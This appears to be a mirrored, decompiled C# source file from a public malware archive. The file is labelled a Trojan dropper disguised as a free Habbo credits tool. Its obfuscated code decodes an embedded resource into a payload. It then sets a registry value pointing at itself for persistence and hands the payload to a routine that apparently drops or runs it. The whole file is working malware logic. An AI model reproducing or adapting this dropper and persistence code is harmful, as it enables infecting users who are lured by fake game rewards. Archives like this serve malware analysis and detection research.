mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
67 lines
2.0 KiB
C#
67 lines
2.0 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type:
|
||
// Assembly: qzqFreeHabboCredits, Version=924.8446.573.2307, Culture=neutral, PublicKeyToken=null
|
||
// MVID: C68363C3-90B9-4B41-B73E-69250BBF6D04
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8.exe
|
||
|
||
using fbrejkBLERJgvlkegvlkejrve;
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using System;
|
||
using System.Reflection;
|
||
using System.Resources;
|
||
using System.Text;
|
||
using System.Threading;
|
||
|
||
[StandardModule]
|
||
internal sealed class \u0008
|
||
{
|
||
private static ResourceManager \u0002;
|
||
private static string \u0003;
|
||
private static byte[] \u0005;
|
||
private static string \u0008;
|
||
|
||
static \u0008()
|
||
{
|
||
ResourceManager resourceManager = new ResourceManager(\u000F.\u0002(570044497), Assembly.GetExecutingAssembly());
|
||
if (true)
|
||
goto label_4;
|
||
label_1:
|
||
string str = ILWEGwJKEBGjfWEBjDkwednkvb.KJEfbwkejfbkjwevbfKJvwek(\u0008.\u0002.GetString(\u000F.\u0002(570044497)), \u000F.\u0002(570044489));
|
||
if (true)
|
||
goto label_5;
|
||
label_2:
|
||
byte[] bytes = Encoding.GetEncoding(1252).GetBytes(\u0008.\u0003);
|
||
if (true)
|
||
goto label_6;
|
||
label_3:
|
||
\u0008.\u0008 = Assembly.GetExecutingAssembly().Location;
|
||
return;
|
||
label_6:
|
||
\u0008.\u0005 = bytes;
|
||
goto label_3;
|
||
label_5:
|
||
\u0008.\u0003 = str;
|
||
goto label_2;
|
||
label_4:
|
||
\u0008.\u0002 = resourceManager;
|
||
goto label_1;
|
||
}
|
||
|
||
[STAThread]
|
||
public static void \u0002()
|
||
{
|
||
Thread thread1 = new Thread(new ThreadStart(ILWEGwJKEBGjfWEBjDkwednkvb.JWBEfWEKJFbwkjebfKJBWekjfbKw));
|
||
if (true)
|
||
goto label_2;
|
||
label_1:
|
||
\u0005.\u0002().Registry.CurrentUser.OpenSubKey(\u000F.\u0002(570044446), true).SetValue(\u000F.\u0002(570044458), (object) \u0008.\u0008);
|
||
Thread thread2;
|
||
thread2.Start();
|
||
IOEWfbWOBEIWOfboiEW.YLIWEfgvwyeGfwekgfjkgwekjfgwEJKgweJfgwJLEK(\u0008.\u0005, true, (string) null);
|
||
return;
|
||
label_2:
|
||
thread2 = thread1;
|
||
goto label_1;
|
||
}
|
||
}
|